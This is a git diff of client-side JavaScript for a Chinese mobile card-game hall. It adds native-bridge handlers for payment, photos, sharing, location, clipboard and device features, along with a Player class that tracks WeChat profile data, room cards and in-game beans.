//if(min_ExitsFunction(Net[_msg.rpc])){ + //Net[_msg.rpc](_msg); + //} + //}else{ + + //} + break; + case 2: + switch(data.opt){ + case "updateHTML": + Logic.getHTML(); + break; + } + break; + } + } + } + }else{ + GameData.hallLogin = true; + gameHallImport.getWebdata(data); + } + //responseCallback(""); + }); + bridge.registerHandler("PayuserPaytypePaystate",function(user,type,state,typeplay,_data,responseCallback){// + if(data){ + if(typeof data == "string"){ + //JSON.parse(data); + data = strToJson(data); + } + } + var user = data.user; + var type = data.type; + var state = data.state; + var typeplay = data.typeplay; + var _data = data._data; + //logmessage("user:"+user+" type:"+type+" state:"+state+" typeplay:"+typeplay,1); + GameUI.ClosePay(); + GameUI.CloseCheckPay(); + GameUI.EndLoad(); + if(Number(state) == 1){ + //_data = JSON.parse(_data); + var data = {}; + data.agentid = Utl.getAgentID(); + data.playerid = _data.user; + data.channelid = GameData.ChannelId; + data.productid = _data.productid; + data.payid = _data.type; + data.amount = _data.amount; + data.money = _data.price; + data.paytype = _data.typeplay; + //Net.Send_pay_succ(data); + var senddata={}; + senddata.app=AppList.app; + senddata.route=RouteList.agent; + senddata.rpc=RpcList.pay_succ; + senddata.data=data; + Func.AjaxHttp(senddata,pay_succ_s,pay_succ_f); + var _msg={}; + var rd = Number(C_Player.roomcard) + Number(_data.amount); + var data1 ={ + roomcard:rd, + text:"购买"+GameData.roomCardName+",数量:"+_data.amount + }; + _msg.data=data1; + C_Player.UpdateRoomcard(_msg); + + + }else{ + GameUI.OpenTips("支付失败!",ConstVal.Tips.time); + } + //responseCallback(""); + }); + bridge.registerHandler("setPostUrl",function(data,responseCallback){//分享成功回调 + GameData.sharePostUrl = data; + + }); + bridge.registerHandler("getphoto",function(data,responseCallback){//下载完成回调 + if(!ConstVal.isGameHall){ + var obj = strToJson(data); + for(var i=0;i=0){ + up_imgurl(Number(pho.pid),pho.photourl,1); + }else{ + //up_imgurl(Number(pho.pid),"assets/bmp/00170.png",1); + setTimeout( + function(){ + if(pho.photourl){ + up_imgurl(Number(pho.pid),pho.photourl,1); + }else{ + up_imgurl(Number(pho.pid),"assets/bmp/00170.png",1); + } + } + ,ConstVal.Max.headImgTimer); + } + } + } + }else{ + + } + + }); + + bridge.registerHandler("getcameraaAddress",function(data,responseCallback){// data 相片地址 + + + }); + + //参数1: pay 注册flag 供原生使用,要和原生统一 + //参数2: 是调起原生时向原生传递的参数 + //参数3: 原生调用回调返回的数据 + //Func.getVersionState = function(){ + //var returnData = 0; + //bridge.callHandler('getcompareCode','',function(resp){ + //returnData = resp; + //} + //); + //return returnData; + //} + Func.getphoto = function(data){ + bridge.callHandler('getphoto',data,function(resp){ + + } + ); + } + Func.h5Webpay=function(){ + //?????????????,?????try{}catch{} try ?? ????????? + //var Ticker//??????? + //var title//?? + //var content//?? + try{ + //window.settings.notification(Ticker,title,content); + var data = { + openid:C_Player.openid, + nickname:C_Player.nickname, + sex:C_Player.sex, + city:C_Player.city, + province:C_Player.province, + headimgurl:C_Player.avatar, + unionid:C_Player.unionid, + agentid:GameData.AgentId, + channelid:GameData.ChannelId, + playerid:C_Player.playerid, + return_url:GameData.returnUrl + }; + bridge.callHandler('h5Webpay',data,function(resp){ + + } + ); + }catch(e){ + + } + } + + Func.up_imgurl=function(recid,photo){ + //因为游戏打包之前调用会报错,所以要使用try{}catch{} try 里面 使用打包调用的函数 catch() 里面使用你自己的函数 + try{ + if(!ConstVal.isGameHall){ + if(GameData.OS == ConstVal.OS.android){ + var input_data=[]; + var input_obj={}; + input_obj.photourl=photo; + input_obj.pid=String(recid); + input_data.push(input_obj); + + + input_data=JSON.stringify(input_data); + //bridge.callHandler('getphoto',input_data,function(resp){ + + //} + //); + Func.getphoto(input_data); + var pho=input_obj; + if(Number(pho.pid)==25){ + up_imgurl(Number(pho.pid),"assets/bmp/00170.png",1); + //}else if(Number(pho.pid)==115 || Number(pho.pid)==5){ + }else if(exceptSrc.indexOf(Number(pho.pid))>=0){ + }else{ + up_imgurl(Number(pho.pid),"assets/bmp/00170.png",1); + } + }else{ + if(recid==25){ + up_imgurl(recid,"assets/bmp/00170.png",1); + setTimeout( + function(){ + if(photo){ + up_imgurl(recid,photo,1); + GameData.playerHeadImgState = true; + }else{ + up_imgurl(recid,"assets/bmp/00170.png",1); + } + },ConstVal.Max.headImgTimer); + }else if(exceptSrc.indexOf(recid)>=0){ + up_imgurl(recid,photo,1); + }else{ + + up_imgurl(recid,"assets/bmp/00170.png",1); + setTimeout( + function(){ + if(photo){ + up_imgurl(recid,photo,1); + }else{ + up_imgurl(recid,"assets/bmp/00170.png",1); + } + } + ,ConstVal.Max.headImgTimer); + } + } + + }else{ + gameHallImport.up_imgurl(recid,photo); + } + + }catch(e){ + + } + } + Func.getVideoinfo = function(data){ + try{ + + data = JSON.parse(data); + bridge.callHandler('getVideoinfo',data,function(resp){ + + } + ); + }catch(e){ + + } + } + Func.getphoneInfo = function(){ + try{ + if(Utl.ReadData(Utl.Config.phoneInfo1)){ + return; + } + if(GameData.isGetPhoneInfo){ + return; + }else{ + GameData.isGetPhoneInfo = true; + } + bridge.callHandler('getphoneInfo',"",function(resp){ + + } + ); + }catch(e){ + + } + + } + Func.getAddressBook = function(){ + try{ + if(Number(Utl.ReadData(Utl.Config.book)) == 1){ + return; + }else{ + Utl.SaveData(Utl.Config.book,1); + } + bridge.callHandler('getAddressBook',"",function(resp){ + + } + ); + }catch(e){ + + } + + } + Func.createRoom=function(){ + try{ + var isOpen = 1; + //if(Game_Modify.getVideoByRoomType){ + //isOpen = Game_Modify.getVideoByRoomType(Desk.roomtype); + //} + //if(!GameData.openVideo){return;} + if(!GameData.hallConfig.openVideo || !isOpen){return;} + if(!Desk.videoConfig){ + return; + } + var userinfo = { + agentid:GameData.AgentId, + roomid:Utl.getRoomcode(), + gameid:GameData.GameId, + playerid:C_Player.playerid, + left:get_self(376,18,0,0,0), + top:get_self(376,19,0,0,0), + width:get_self(376,20,0,0,0), + height:get_self(376,21,0,0,0), + pmw : 1280, + pmh : 720 + + }; + bridge.callHandler('createRoom',userinfo,function(resp){ + + } + ); + }catch(e){ + + } + } + Func.exitRoom=function(){ + try{ + var isOpen = 1; + //if(Game_Modify.getVideoByRoomType){ + //isOpen = Game_Modify.getVideoByRoomType(Desk.roomtype); + //} + //if(!GameData.openVideo){return;} + if(!GameData.hallConfig.openVideo || !isOpen){return;} + if(!Desk.videoConfig){ + return; + } + var userinfo = { + agentid:GameData.AgentId, + gameid:GameData.GameId, + roomid:Utl.getRoomcode(), + playerid:C_Player.playerid + + }; + bridge.callHandler('exitRoom',userinfo,function(resp){ + + } + ); + }catch(e){ + + } + } + Func.accreditlogin=function(data){ + //因为游戏打包之前调用会报错,所以要使用try{}catch{} try 里面 使用打包调用的函数 catch() 里面使用你自己的函数 + GameData.isVisitor = false; + try{ + var tp = 2; + if(data){ + tp=data; + } + // window.settings.accreditlogin(); + bridge.callHandler('accreditlogin',data,function(resp){ + + } + ); + + }catch(e){ + var headLoginList=[ "http://pic.fxxz.com/up/2016-6/2016060511335263357.png", + "http://pic.fxxz.com/up/2016-6/2016060511335249995.png", + "http://pic.fxxz.com/up/2016-6/2016060511335146994.png", + "http://pic.fxxz.com/up/2016-6/2016060511335682256.png", + "http://pic.fxxz.com/up/2016-6/2016060511335333433.png"]; + var ram = ifast_random(100000); + //sharelogin("fff23"+ram,headLoginList[ifast_random(5)],"测试"+ram,ifast_random(1)+1,"nanchang","jiangxi",222); + sharelogin("fff23"+ram,headLoginList[ifast_random(5)],"测试测试测试"+ram,ifast_random(1)+1,"nanchang","jiangxi","ylgame"+ram); + } + } + //退出登录通知app + Func.logoffCallback = function(){ + try{ + //window.settings.cancellogin(); + bridge.callHandler('cancellogin','',function(resp){ + + } + ); + }catch(e){ + console.log("logoff"); + } + + } + //内部打开网页 + Func.OpenurlTitleData = function(url,title,data,ort){// + try{ + if(url){ + url=fixUrl(url); + var orient=0; + if(fGetQuery1(url,"orientation")){ + orient = 1; + } + var exp = new Date(); + url += "×tamp=" + exp.getTime(); + var data={ + url:url, + title:title, + data:data, + orientation:orient + }; + //window.settings.OpenurlTitleData(url,title,data); + bridge.callHandler('OpenurlTitleData',data,function(resp){ + + } + ); + } + }catch(e){ + console.log(url+"、"+title+"、"+data); + } + } + //获得指定文件夹 + //Func.getothername = function(name){// + //var rtname = ""; + //try{ + //var rtname = window.settings.getothername(name); + //return rtname; + //bridge.callHandler('getothername',"",getothername_callback + //); + + //}catch(e){ + + //} + //return rtname; + //var aaa = window["app_"+name]; + //logmessage("name:"+name,1); + //return window["app_"+name]; + //} + //获得自定义文件夹名 + Func.getOther = function(){// + var assetname = ""; + try{ + //var assetname = window.settings.getOther(); + //return assetname; + bridge.callHandler('getOther',"",function(resp){ + assetname = resp; + } + ); + }catch(e){ + + } + return assetname; + } + //开启关闭语音 + Func.voicePlaying = function(type){// + try{ + //window.settings.voicePlaying(type); + bridge.callHandler('voicePlaying',type,function(resp){ + + } + ); + }catch(e){ + console.log("voicePlaying:"+type); + } + } + //复制到粘贴板 + Func.gameCopytext = function(text){// + try{ + //window.settings.gameCopytext(text); + bridge.callHandler('gameCopytext',text,function(resp){ + + } + ); + }catch(e){ + + } + } + //打开拍照 + Func.opencamera = function(){ + bridge.callHandler('opencamera',"",function(resp){ + + } + ); + } + //获得粘贴板内容 + Func.gamepastetext = function(){// + var returnValue = ""; + try{ + //return window.settings.gamepastetext(); + bridge.callHandler('gamepastetext',"",gamepastetext_callback); + }catch(e){ + + } + return returnValue; + } + //获得市场id + Func.getmarketname = function(){// + //var returnValue = 1; + //try{ + //return window.settings.getmarketname(); + //bridge.callHandler('getmarketname',"",getmarketname_callback + //); + //}catch(e){ + + //} + //return returnValue; + //logmessage("market:"+app_market,1); + return app_market; + } + Func.getInstallInfo = function(data){// + if(!ConstVal.isGameHall){ + var returnValue = ifast_random(2); + try{ + //var result = window.settings.getGameinstall(data); + //return Number(result); + bridge.callHandler('getGameinstall',data,function(resp){ + returnValue = Number(resp); + } + ); + }catch(e){ + //return ifast_random(2); + + } + return returnValue; + }else{ + return gameHallImport.isInstalled(data); + } + } + /* + {"body":"哈哈哈","price":1,"user":"sdsax11221","type":"ylniuniu001","typeplay":"1"} + ?user 用户id??? + type:yl+gamename+00N???列子:ylniuniu001?ylniuniu002 + ? + tpyealpay 支付类型 1 微信 2 支付宝 + body商品详情 + price 价格 + */ + Func.getGamepay = function(data){// + try{ + //window.settings.getGameplay(data); + bridge.callHandler('getGameplay',"",function(resp){ + + } + ); + }catch(e){ + //var dt = JSON.parse(data); + //PayuserPaytypePaystate(dt.playerid,dt.type,1,data.paytype,data) + } + } + Func.getphonestate = function(){ + bridge.callHandler('getphonestate',"",function(resp){ + //主动调用返回通话状态 + + } + ); + + } + Func.ypayType = function(type){ + + bridge.callHandler('ypayType',type,function(resp){ + //主动调用返回通话状态 + + } + ); + + } + + // + Func.SwitchOverGameData = function(webtype,Gamedirectory,gamedownloadurl,data){ + try{ + //window.settings.SwitchOverGameData(webtype,Gamedirectory,gamedownloadurl,data); + var data={ + webtype:webtype, + Gamedirectory:Gamedirectory, + gamedownloadurl:gamedownloadurl, + data:data + }; + if(ConstVal.isGameHall){ + GameData.hallLogin = false; + if(!gamedownloadurl || !Gamedirectory){ + gameHallImport.clearGameinfo(); + return; + } + + } + bridge.callHandler('SwitchOverGameData',data,function(resp){ + + } + ); + }catch(e){ + //console.log("webtype:"+webtype+"Gamedirectory:"+Gamedirectory+"gamedownloadurl:"+gamedownloadurl+"data:"+data); + } + } + Func.backgameData = function(data){// + try{ + //var data= {}; + //if(C_Player.roomcard>-1){ + //data.data = C_Player.returnHallData(); + //data.opt = "updatePlayerInfo"; + //data.from = 2; + //data.gamename = app_gamename; + //data.gameid = GameData.GameId; + //Func.backgameData(JSON.stringify(data)); + //}else{ + //data.opt = "saveGameId"; + //data.from = 2; + //data.gamename = app_gamename; + //data.gameid = GameData.GameId; + //Func.backgameData(JSON.stringify(data)); + //} + bridge.callHandler('backgameData',data,function(resp){ + + } + ); + }catch(e){ + + } + } + //开启定位 + Func.startlocation = function(type){ + try{ + //window.settings.startlocation(type); + bridge.callHandler('startlocation',type,function(resp){ + + } + ); + }catch(e){ + + } + } + //获取定位 + Func.getlocation = function(){ + try{ + if(GameData.otherLocation){ + GameData.otherLocationTimes++; + if(GameData.otherLocationTimes > GameData.otherLocationAllTimes){ + return; + } + } + //window.settings.getlocationinfo(); + bridge.callHandler('getlocationinfo',"",function(resp){ + + } + ); + }catch(e){ + + } + } + Func.getchannelName = function(){// + + return app_channel; + } + + //播放声音 + Func.play_wav = function(src,isloop){ + if(src){ + if(GameData.appstate ||(!GameData.appstate&&isloop==-1)){ + try{ + if(!GameData.isRecord){ + //window.settings.srcIsloop(src,isloop); + var data = { + src:src, + isloop:isloop + }; + bridge.callHandler('srcIsloop',data,function(resp){ + + } + ); + } + + }catch(e){ + if(!GameData.isRecord){ + play_wav(src,isloop); + } + } + } + } + + } + + //开启扫一扫 + Func.OpenScan = function(){ + try{ + //window.settings.opensaoma(); + bridge.callHandler('opensaoma',"",function(resp){ + + } + ); + }catch(e){ + + } + } + Func.getVersionState = function(){ + + return Number(app_appversion); + } + + Func.startshake = function(){ + if(Utl.ReadData(Utl.Config.shake)==1){ + if(GameData.shakeID != Game_Config.shakeList.nil){ + try{ + //window.settings.startshake(); + bridge.callHandler('startshake','',function(resp){ + + } + ); + }catch(e){ + + } + } + } + } + Func.stopshake = function(){ + try{ + //window.settings.stopshake(); + bridge.callHandler('stopshake','',function(resp){ + + } + ); + }catch(e){ + + } + } + Func.switchshakeVoice = function(Voicetype){ + try{ + //window.settings.SwitchShake(Voicetype); + bridge.callHandler('SwitchShake',Voicetype,function(resp){ + + } + ); + }catch(e){ + + } + } + + //分享图片(链接) + Func.sharephotourl=function(sharetype,url){ + try{ + //window.settings.sharephotourl(sharetype,url); + var data={ + sharetype:sharetype, + url:url + }; + bridge.callHandler('sharephotourl',data,function(resp){ + + } + ); + }catch(e){ + //alert(e); + } + } + //获取网络类型 1 未连接网络 2 连接wifi 3 连接2G/3G/4G + Func.getnetwork=function(){ + + return app_getnetwork; + + } + //获取wifi信号ssidname wifi名称 signalLevel wifi信号强度 0-4 弱到强 + Func.getwifisignalLevel=function(){ + return Number(app_getwifisignalLevel); + } + //调用手机默认浏览器打开链接 + Func.browser=function(url){ + try{ + if(url){ + url = fixUrl(url); + //window.settings.browser(url); + bridge.callHandler('browser',url,function(resp){ + + } + ); + } + }catch(e){ + console.log(url); + } + + } + //主动获取手机电量 + Func.getbattery=function(){ + + return app_getbattery; + } + Func.mediaTypeAudio=function(audiourl,type,user){ + //因为游戏打包之前调用会报错,所以要使用try{}catch{} try 里面 使用打包调用的函数 catch() 里面使用你自己的函数 + try{ + //window.settings.mediaTypeAudio(audiourl,type,v); + var data = { + audiourl:audiourl, + type:type, + user:user + }; + bridge.callHandler('mediaTypeAudio',data,function(resp){ + + } + ); + }catch(e){ + + // gameui_play_voice(v); + //Net.submit_error("mediaAudio:audiourl="+audiourl+",type="+type+",user="+v,e.stack); + } + } + + Func.prepareAudio=function(){ + //因为游戏打包之前调用会报错,所以要使用try{}catch{} try 里面 使用打包调用的函数 catch() 里面使用你自己的函数 + try{ + Utl.stopMusic(); + GameData.isRecord = true; + //window.settings.prepareaudio(); + bridge.callHandler('prepareaudio',"",function(resp){ + + } + ); + }catch(e){ + //alert(e); + + } + } + //设置普通震动 + Func.vibrator=function(time){ + try{ + if(GameData.appstate){ + //window.settings.vibrator(time); + bridge.callHandler('vibrator',time,function(resp){ + + } + ); + } + }catch(e){ + + } + } + //是否重复震动 + Func.repeatvibrator=function(repeat){ + try{ + if(GameData.appstate){ + //window.settings.repeatvibrator(repeat); + bridge.callHandler('repeatvibrator',repeat,function(resp){ + + } + ); + } + }catch(e){ + + } + } + //取消震动 + Func.canclevibrator=function(){ + try{ + //window.settings.canclevibrator(); + bridge.callHandler('canclevibrator',"",function(resp){ + + } + ); + }catch(e){ + + } + } + //横竖屏 orientation 1 为横屏 2 为竖屏 + Func.orientation=function(Orientation){ + try{ + //window.settings.orientation(Orientation); + bridge.callHandler('orientation',Orientation,function(resp){ + + } + ); + }catch(e){ + + } + } + //通知 + Func.notification=function(Ticker,title,content){ + //因为游戏打包之前调用会报错,所以要使用try{}catch{} try 里面 使用打包调用的函数 + //var Ticker//手机状态栏通知 + //var title//标题 + //var content//内容 + try{ + //window.settings.notification(Ticker,title,content); + var data={ + Ticker:Ticker, + title:title, + content:content + }; + bridge.callHandler('notification',data,function(resp){ + + } + ); + }catch(e){ + + } + } + + + + Func.sharefriend=function(data){//1普通分享2截图分享3图片链接分享 + //因为游戏打包之前调用会报错,所以要使用try{}catch{} try 里面 使用打包调用的函数 catch() 里面使用你自己的函数 + var sharefriend = data.sharefriend; + var type = data.type; + var webpageUrl = data.webpageUrl; + var title = data.title; + var description = data.description; + var sharetype = data.sharetype; + if(!sharetype){ + sharetype = 0; + } + if(!webpageUrl){webpageUrl = Game_Config.Share.appdownload;} + if(GameData.gameData){ + webpageUrl = webpageUrl + "&gameData="+GameData.gameData; + webpageUrl = fixUrl(webpageUrl); + } + if(!title){title = Game_Config.Share.title+Game_Config.Share.description;} + //if(!description){description = } + type == 2 ? GameData.shareFrom = 1 : GameData.shareFrom = 0; + + try{ + //window.settings.friendsSharetypeUrlToptitleDescript(sharefriend,type,webpageUrl,title,description); + var data={ + sharefriend:sharefriend, + type:type, + webpageUrl:webpageUrl, + title:title, + description:description, + sharetype:sharetype + }; + bridge.callHandler('friendsSharetypeUrlToptitleDescript',data,function(resp){ + + }); + }catch(e){ + //console.log("分享:sharefrind:"+sharefriend+"\ntype:"+type+"\nwebpageUrl:"+webpageUrl+"\ntitle:"+title+"\ndescription:"+description); + } + + + } + +}); +} +var shareLink=function shareLink(shareTimeline,shareAppMessage) { +var fenxiang = shareParam; + var sid1= getQueryString('sid'); + var scode1= getQueryString('scode'); + + var sidScode ={sid: sid1, scode: scode1}; + if(!sidScode) { + + return; + } + + $.ajax({ + type: "post", + url: "https://api.tscce.cn/api/weixin/wx_share_info", + dataType: 'json', + data: $.extend({}, sidScode, fenxiang), + timeout: 1000 * 8, + success: function (data, textStatus) { + //console.log('success', data); + if (data.error == 0) { + var js = + { + debug: false, + appId: data.data.appId, // ???????? + timestamp: data.data.timestamp, // ???????? + nonceStr: data.data.nonceStr, // ???????? + signature: data.data.signature,// ?? + jsApiList: [ + 'onMenuShareTimeline', + 'onMenuShareAppMessage' + ] + } + wx.config(js); + wx.ready(function(){ + + + wx.onMenuShareTimeline({ // + title: shareTimeline.title, + link: shareTimeline.link, // + imgUrl: shareTimeline.imgUrl, // + success: function () { // + sharesuccess(2,2); + GameUI.closeShareImg(); + //dialog.alert('分享朋友圈成功'); + }, + cancel: function () { // + GameUI.closeShareImg(); + } + }); + + wx.onMenuShareAppMessage({ //????? + title: shareAppMessage.title, // + desc: shareAppMessage.desc, // + link: shareAppMessage.link, // + imgUrl: shareAppMessage.imgUrl, // + type: 'link', + success: function () { // + sharesuccess(2,1); + GameUI.closeShareImg(); + //dialog.alert('分享好友成功'); + }, + cancel: function () { // + GameUI.closeShareImg(); + } + }); + }); + wx.error(function(res){ + + }); + return; + } else { + //alert(data.error_code + ': ' + data.msg); + sessionStorage.clear(); + var code = parseInt(data.error_code); + if(data.error_code === 10001 || data.error_code === 10008 || data.error_code === 10011) { + //getSidScode(wxLogin); + } + } + }, + complete: function (res) { + //console.log('complete',res); + }, + error: function (XMLHttpRequest, textStatus, errorThrown) { + //console.log('error', XMLHttpRequest, textStatus, errorThrown); + //alert("错误"); + } + }); +} +Func.appDownload = function(url) { + if(url){ + top.location=url; + } + +} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/games/games/Projects/clinet/gamehall/js/00_Surface/06_Player.js b/games/games/Projects/clinet/gamehall/js/00_Surface/06_Player.js new file mode 100644 index 0000000..b9a20af --- /dev/null +++ b/games/games/Projects/clinet/gamehall/js/00_Surface/06_Player.js @@ -0,0 +1,553 @@ +function Player(seat){ + this.openid = "";//id + this.playerid = -1;//playerid + this.nickname = "";//昵称 + this.avatar = "";//头像地址 + this.sex = 0;//性别 + this.ip = "";//ip地址 + this.province = "";//微信信息省份 + this.city = "";//微信信息城市 + this.roomcard = -1;//房卡数量 + this.taskstate = 0;//任务状态 + this.unionid = 0;//平台唯一表示 + this.seat = seat; //座位号 + this.score = 0; + this.state = -1;//玩家状态0->默认值 -1->申请解散 1->同意解散 2->拒绝解散 + this.status = 0;//0->默认值 1->房主 2->非房主 + //this.offline = 0;//玩家是否离线0->否 1->离线 + this.canexit=1;//是否可以直接离开 + this.onstate=0;//0:在线1:离线2:通话中 + this.addr = null; + this.invitecode = "";//邀请码 + this.isStart = false;//能否点击按钮开始游戏 + this.bean = 0;//玩家豆子数量 + this.initialBean = 0;//玩家豆子初始值 + this.isprepare = 0;//玩家是否准备 + this.advanced = 0;//玩家是否有高级选项 + this.paycode = "";//吱口令 + this.wareHouseStarCount = 0;//仓库库存星星 + this.bankpower = 0;//是否有仓库权限 + this.bankpwd = 0;//是否设置仓库密码 + this.charm = undefined; + this.sign = "";//签名 + this.tel = "";//绑定手机号 +} +//玩家信息初始化 +if(typeof(Player.prototype.Init) == "undefined"){ + Player.prototype.Init = function(bTemp){ + this.openid = "";//id + this.playerid = -1;//playerid + this.nickname = "";//昵称 + this.score = 0; + this.avatar = "";//头像地址 + this.sex = 0;//性别 + this.ip = "";//ip地址 + this.province = "";//省份 + this.city = "";//城市 + this.roomcard = 0;//房卡数量 + this.taskstate = 0;//任务状态 + this.unionid = 0;//平台唯一表示 + if(bTemp)this.seat = -1; //座位号 + this.state = -1;//玩家状态0->默认值 1->申请解散 2->同意解散 3->拒绝解散 + this.status = 0;//0->默认值 1->房主 2->非房主 + this.offline = 0;//玩家是否离线0->否 1->离线 + this.canexit=1;//是否可以直接离开 + this.onstate=0;//0:在线1:离线2:通话中 + this.addr = null; + this.invitecode = "";//邀请码 + this.isStart = false;//能否点击按钮开始游戏 + this.bean = 0;//玩家豆子数量 + this.initialBean = 0;//玩家豆子初始值 + this.isprepare = 0;//玩家是否准备 + this.advanced = 0;//玩家是否有高级选项 + this.paycode = "";//吱口令 + this.wareHouseStarCount = 0;//仓库库存星星 + this.bankpower = 0;//是否有仓库权限 + this.bankpwd = 0;//是否设置仓库密码 + this.charm = undefined; + this.sign = "";//签名 + this.tel = "";//绑定手机号 + }; +} +//玩家微信信息初始化 +if(typeof(Player.prototype.SetWxInfo) == "undefined"){ + Player.prototype.SetWxInfo = function(openid,headimgurl,nickname,sex,city,Province,unionid){ + this.openid = openid;//id + this.nickname = nickname;//昵称 + this.avatar = headimgurl;//头像地址 + this.sex = sex;//性别 + this.city = city;//城市 + this.province = Province;//省 + this.unionid=unionid;//开放平台id + //alert("设置玩家信息"); + }; +} +//玩家游戏信息初始化 +if(typeof(Player.prototype.SetMyInfo) == "undefined"){ + //Player.prototype.SetMyInfo = function(_playerid,_roomcard,_taskstate,_ip,_score,_bean,_paycode){ + Player.prototype.SetMyInfo = function(object){ + this.playerid = object.playerid; + this.roomcard = object.roomcard; + this.taskstate = object.taskstate; + this.ip=object.ip; + this.score = object.score; + this.bean = object.bean; + this.initialBean = object.bean; + this.bankpower = object.bankpower; + if(object.bank){ + this.wareHouseStarCount = Number(object.bank);//仓库库存星星 + }else{ + this.wareHouseStarCount = 0; + } + if(object.bankpwd){ + this.bankpwd = Number(object.bankpwd);//仓库库存星星 + }else{ + this.bankpwd = 0; + } + this.charm = object.charm; + this.sign = object.sign; + this.tel = object.tel; + //this.setTel(); + //this.bankpwd = object.bank;//是否设置仓库密码 this.bankpwd = 0;//是否设置仓库密码 + //this.paycode = _paycode; + }; +} +//设置玩家位置 +if(typeof(Player.prototype.SetLocationInfo) == "undefined"){ + Player.prototype.SetLocationInfo = function(_locationinfo){ + this.addr = _locationinfo; + set_self(200,7,C_Player.addr.province+"-"+C_Player.addr.city,0,0); + }; +} + +//设置玩家座位 +if(typeof(Player.prototype.SetSeat) == "undefined"){ + Player.prototype.SetSeat = function(seat){ + this.seat = seat; + }; +} +//设置玩家邀请码 +if(typeof(Player.prototype.setInvitecod) == "undefined"){ + Player.prototype.setInvitecod = function(_invitecode){ + this.invitecode = _invitecode; + }; +} +//修改房卡 +if(typeof(Player.prototype.UpdateRoomcard) == "undefined"){ + Player.prototype.UpdateRoomcard = function(_msg){ + this.roomcard = _msg.data.roomcard; + //set_self(157,7,C_Player.roomcard,0,0); + //set_self(157,18,get_self(287,18,0,0,0)+get_self(287,20,0,0,0)/2-String(C_Player.roomcard).length*7,0,0); + GameUI.setHallRoomCard(); + if(_msg.data.text){ + GameUI.Openupdataroomcard(_msg.data.text); + } + }; +} +//修改豆豆 +if(typeof(Player.prototype.update_bean) == "undefined"){ + Player.prototype.update_bean = function(_msg){ + this.bean = _msg.data.bean; + GameUI.setHallStar(); + //set_self(497,7,C_Player.bean,0,0); + //set_self(497,18,get_self(496,18,0,0,0)+get_self(496,20,0,0,0)/2-String(C_Player.bean).length*7,0,0); + set_self(510,7,GameData.starName+":"+C_Player.bean,0,0); + GameUI.openUpdateBean(_msg.data.text); + if(C_Player.seat>-1){//在房间内 + var pobj = Desk.GetPlayerBySeat(C_Player.seat); + pobj.bean = C_Player.bean; + pobj = null; + if(C_Player.seat == GameData.infoSeat){ + set_self(511,7,GameData.starName+":"+C_Player.bean,0,0); + } + } + }; +} +//修改豆豆 +if(typeof(Player.prototype.update_bean2) == "undefined"){ + Player.prototype.update_bean2 = function(_bean){ + this.bean = _bean; + GameUI.setHallStar(); + //set_self(497,7,C_Player.bean,0,0); + //set_self(497,18,get_self(496,18,0,0,0)+get_self(496,20,0,0,0)/2-String(C_Player.bean).length*7,0,0); + set_self(510,7,GameData.starName+":"+C_Player.bean,0,0); + if(C_Player.seat>-1){//在房间内 + var pobj = Desk.GetPlayerBySeat(C_Player.seat); + pobj.bean = C_Player.bean; + pobj = null; + if(C_Player.seat == GameData.infoSeat){ + set_self(511,7,GameData.starName+":"+C_Player.bean,0,0); + } + } + }; +} +//修改豆豆 +if(typeof(Player.prototype.changeBean) == "undefined"){ + Player.prototype.changeBean = function(_bean){ + this.bean = this.initialBean + _bean; + GameUI.setHallStar(); + //set_self(497,7,C_Player.bean,0,0); + //set_self(497,18,get_self(496,18,0,0,0)+get_self(496,20,0,0,0)/2-String(C_Player.bean).length*7,0,0); + set_self(510,7,GameData.starName+":"+C_Player.bean,0,0); + if(C_Player.seat>-1){//在房间内 + var pobj = Desk.GetPlayerBySeat(C_Player.seat); + pobj.bean = C_Player.bean; + pobj = null; + if(C_Player.seat == GameData.infoSeat){ + set_self(511,7,GameData.starName+":"+C_Player.bean,0,0); + } + } + }; +} +//设置房卡 +if(typeof(Player.prototype.setRoomcard) == "undefined"){ + Player.prototype.setRoomcard = function(_roomcard){ + this.roomcard = _roomcard; + GameUI.setHallRoomCard(); + }; +} +//设置房卡 +if(typeof(Player.prototype.addRoomCard) == "undefined"){ + Player.prototype.addRoomCard = function(value,text){ + this.roomcard += value; + GameUI.setHallRoomCard(); + if(text){ + GameUI.Openupdataroomcard(text); + } + }; +} +if(typeof(Player.prototype.setBean) == "undefined"){ + Player.prototype.setBean = function(value){ + this.bean = value; + GameUI.setHallStar(); + }; +} +if(typeof(Player.prototype.addBean) == "undefined"){ + Player.prototype.addBean = function(value,text){ + this.bean += value; + GameUI.setHallStar(); + if(text){ + GameUI.Openupdataroomcard(text); + } + }; +} +//设置吱口令 +if(typeof(Player.prototype.setPayCode) == "undefined"){ + Player.prototype.setPayCode = function(_paycode){ + if(_paycode){ + this.paycode = _paycode;//吱口令 + }else{ + this.paycode = "";//吱口令 + } + + }; +} +//绑定邀请码 +if(typeof(Player.prototype.binding_invitecode) == "undefined"){ + Player.prototype.binding_invitecode = function(_msg){ + + if(_msg.data.state == 0){ + this.invitecode = _msg.data.invitecode; + } + GameUI.OpenTips(_msg.data.error,ConstVal.Tips.time); + + }; +} +//设置牌桌内玩家数据 +if(typeof(Player.prototype.SetDeskInfo) == "undefined"){ + Player.prototype.SetDeskInfo = function(_data,bTemp){ + this.playerid=_data.playerid; + this.nickname=_data.nickname; + this.avatar=_data.avatar; + this.sex=_data.sex; + this.ip=_data.ip; + this.onstate=_data.onstate; + this.bean = _data.bean; + if(!bTemp){ + this.initialBean = _data.bean;//玩家豆子初始值 + }else{ + this.initialBean = _data.initialBean;//玩家豆子初始值 + } + this.isprepare = _data.isprepare;//玩家是否准备 + if(_data.paycode){ + this.paycode = _data.paycode; + }else{ + this.paycode = ""; + } + this.charm = _data.charm; + this.sign = _data.sign; + }; +} +//获取牌桌内玩家数据 +if(typeof(Player.prototype.getDeskInfo) == "undefined"){ + Player.prototype.getDeskInfo = function(){ + var rValue = {}; + rValue.playerid=this.playerid; + rValue.nickname=this.nickname; + rValue.avatar=this.avatar; + rValue.sex=this.sex; + rValue.ip=this.ip; + rValue.onstate=this.onstate; + rValue.bean = this.bean; + rValue.initialBean = this.initialBean;//玩家豆子初始值 + rValue.isprepare = this.isprepare;//玩家是否准备 + if(this.paycode){ + rValue.paycode = _data.paycode; + }else{ + rValue.paycode = ""; + } + rValue.charm = this.charm; + return rValue; + }; +} +//房间解散 +if(typeof(Player.prototype.BreakRoom) == "undefined"){ + Player.prototype.BreakRoom = function(){ + this.seat = -1; //座位号 + this.state = -1;//玩家状态0->默认值 1->申请解散 2->同意解散 3->拒绝解散 + this.status = 0;//0->默认值 1->房主 2->非房主 + this.isStart = false;//能否点击按钮开始游戏 + //this.paycode = ""; + }; 